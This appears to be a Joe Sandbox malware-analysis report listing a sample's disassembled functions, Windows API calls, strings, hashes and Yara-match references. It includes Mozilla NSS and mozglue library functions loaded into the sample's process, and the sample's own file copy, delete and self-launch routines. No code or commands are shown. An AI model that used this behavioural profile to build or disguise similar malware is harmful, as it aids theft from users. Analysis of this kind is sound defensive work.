Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 82266bfdd90354e846418a99e827ba5feeba1708c4c917e9cb387fe0226bacf2
Instruction ID: 747b7d94d78dcab7bc4ad9ba185e37b4c367e78d81b7dca89f1d9f587bf674ed
Opcode Fuzzy Hash: 82266bfdd90354e846418a99e827ba5feeba1708c4c917e9cb387fe0226bacf2
Instruction Fuzzy Hash: EBF09632A817119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D29E9E

Function 6C6ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

EnterCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED4F2
LeaveCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED50B

Part of subcall function 6C6CCFE0: EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6CCFF6
Part of subcall function 6C6CCFE0: LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED52E
EnterCriticalSection.KERNEL32(6C74E7DC), ref: 6C6ED690
LeaveCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED751

Strings

MOZ_CRASH(), xrefs: 6C6ED4BB

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 8e9944c125181f07bd3cef4963bffaf755f6532d116d5d33f8ed8053c3628785
Instruction ID: f8dfcdb6c0c9124f8204fede347de4e13d629b2ea549737895652aa071a92685
Opcode Fuzzy Hash: 8e9944c125181f07bd3cef4963bffaf755f6532d116d5d33f8ed8053c3628785
Instruction Fuzzy Hash: F251F171A097058FD324CF29C19061AB7E6EBCA318F24893FD5AAC7B84D770E804CB95

Function 6C71B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C703EBD,6C703EBD,00000000), ref: 6C6C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C71B127), ref: 6C71B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C71B4E4

Strings

pid:, xrefs: 6C71B4DE

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d9b846a789feb6194a0216b8d1d64fee9029c5651c33125ab9a41b4bd894d5b2
Instruction ID: 3f921d764d99434b6f42390521a2635bef473f6d4232093c2f4e7c84d749cdfa
Opcode Fuzzy Hash: d9b846a789feb6194a0216b8d1d64fee9029c5651c33125ab9a41b4bd894d5b2
Instruction Fuzzy Hash: D63113B1A052088BDB00DFAAD980AAEB7B5FF45318F58452DD821A7F41D731B849CBA1

Function 6C776C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C776D36

Strings

database corruption, xrefs: 6C776D2A
%s at line %d of [%.10s], xrefs: 6C776D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C776D20

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 12e463d8c1ff7411242c2156f5cbef6f90435cfcb32452e8a83dea0eafda2984
Instruction ID: 709f242eee60381dda92d2f94d3b2bc392e163ad221015d2702f433b3d3f3bb8
Opcode Fuzzy Hash: 12e463d8c1ff7411242c2156f5cbef6f90435cfcb32452e8a83dea0eafda2984
Instruction Fuzzy Hash: 3821E2706143099BCF20CE1ACB46B5AB7F2AF84318F144528DC499BF55E371FA4887A1

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5c242e9f6f242afdfd3d50008aa43d31dcc14585de71cbfc0ed53ce080c09176
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 5c242e9f6f242afdfd3d50008aa43d31dcc14585de71cbfc0ed53ce080c09176
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 6C8ACC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C8ACD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C8ACC7B), ref: 6C8ACD7A
Part of subcall function 6C8ACD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C8ACD8E
Part of subcall function 6C8ACD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C8ACDA5
Part of subcall function 6C8ACD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C8ACDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C8ACCB5
memcpy.VCRUNTIME140(6C9414F4,6C9402AC,00000090), ref: 6C8ACCD3
memcpy.VCRUNTIME140(6C941588,6C9402AC,00000090), ref: 6C8ACD2B

Part of subcall function 6C7C9AC0: socket.WSOCK32(?,00000017,6C7C99BE), ref: 6C7C9AE6
Part of subcall function 6C7C9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7C99BE), ref: 6C7C9AFC

Part of subcall function 6C7D0590: closesocket.WSOCK32(6C7C9A8F,?,?,6C7C9A8F,00000000), ref: 6C7D0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C8ACCB0

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 271b2fc7a47aa62d1774c70b31bfdba7b162738bc4825606334be2e565c5cf27
Instruction ID: 1f64b153939ae291cfc2ffd0ecd433b06f6f8c19c854781d26376467e7b11c0a
Opcode Fuzzy Hash: 271b2fc7a47aa62d1774c70b31bfdba7b162738bc4825606334be2e565c5cf27
Instruction Fuzzy Hash: 181196F1B182805EDB20BF5DDA067C23AB8A34725CF309929E516CBB41E775C4298BD6

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A929
vI@, xrefs: 0041A937

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: 944da6e453fcb66f0d11250dd24ec57f51aa285ffba2b214b4798455d692dd31
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: 944da6e453fcb66f0d11250dd24ec57f51aa285ffba2b214b4798455d692dd31
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 6C71CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71CDA4

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

Part of subcall function 6C71D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C71CDBA,00100000,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71D158
Part of subcall function 6C71D130: InitializeConditionVariable.KERNEL32(00000098,?,6C71CDBA,00100000,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71CDC4

Part of subcall function 6C717480: ReleaseSRWLockExclusive.KERNEL32(?,6C7215FC,?,?,?,?,6C7215FC,?), ref: 6C7174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71CECC

Part of subcall function 6C6DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6DCAA2

Part of subcall function 6C70CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C71CEEA,?,?,?,?,00000000,?,6C70DA31,00100000,?,?,00000000), ref: 6C70CB57
Part of subcall function 6C70CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C70CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C71CEEA,?,?), ref: 6C70CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C70DA31,00100000,?,?,00000000,?), ref: 6C71D058

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 359c082373256d45a94ca7d88f8268fe211032db9b4812e96e507071ec128b4a
Instruction ID: 4f8ecc921eca2729bf4f62706ba8efab6fdc0a4e8dd40e1ee6431883f1c7ac9a
Opcode Fuzzy Hash: 359c082373256d45a94ca7d88f8268fe211032db9b4812e96e507071ec128b4a
Instruction Fuzzy Hash: 13D18071A04B469FD708CF28C580B99F7E1BF99308F05866DD8598BB12EB31F965CB81

Function 0040D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlenA.KERNEL32(00000000), ref: 0040D698
lstrlenA.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5e29cad011a71c9475a73e35c67fdec3484c41d0299b044813f730f4a49dbbdb
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: 5e29cad011a71c9475a73e35c67fdec3484c41d0299b044813f730f4a49dbbdb
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 004321A4 Relevance: 6.2, APIs: 4, Instructions: 231COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetCurrentState.LIBVCRUNTIME ref: 004321E4
__GetUnwindTryBlock.LIBCMT ref: 00432373
__SetUnwindTryBlock.LIBVCRUNTIME ref: 00432398
__GetUnwindTryBlock.LIBCMT ref: 004323A8

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: BlockUnwind$CurrentState
String ID:
API String ID: 604444574-0
Opcode ID: 29f2db1789c69ca6bac1a0a91916ae27c4198198ee7ab6f2bf6ff86bcdb05b1e
Instruction ID: 6ea621237c8532caef46eb638c245c4557fca539689bb1f31b0bde805c7a4298
Opcode Fuzzy Hash: 29f2db1789c69ca6bac1a0a91916ae27c4198198ee7ab6f2bf6ff86bcdb05b1e
Instruction Fuzzy Hash: A4511730318A084F8358BB6D944657E72D1FB8C318F5466AFE40AC3666DA7CED4283CA

Function 6C6E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C6E5D40
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6E5D67
__aulldiv.LIBCMT ref: 6C6E5DB4
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6E5DED

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: c3c37be68ecc293cbdecb8f7a5dc84705a6f9b08db7391c6e245e551a8e8e497
Instruction ID: 0232fe880aeaa34ddf9665a33668bda5eb156205a6870b18acc88820bb8b937d
Opcode Fuzzy Hash: c3c37be68ecc293cbdecb8f7a5dc84705a6f9b08db7391c6e245e551a8e8e497
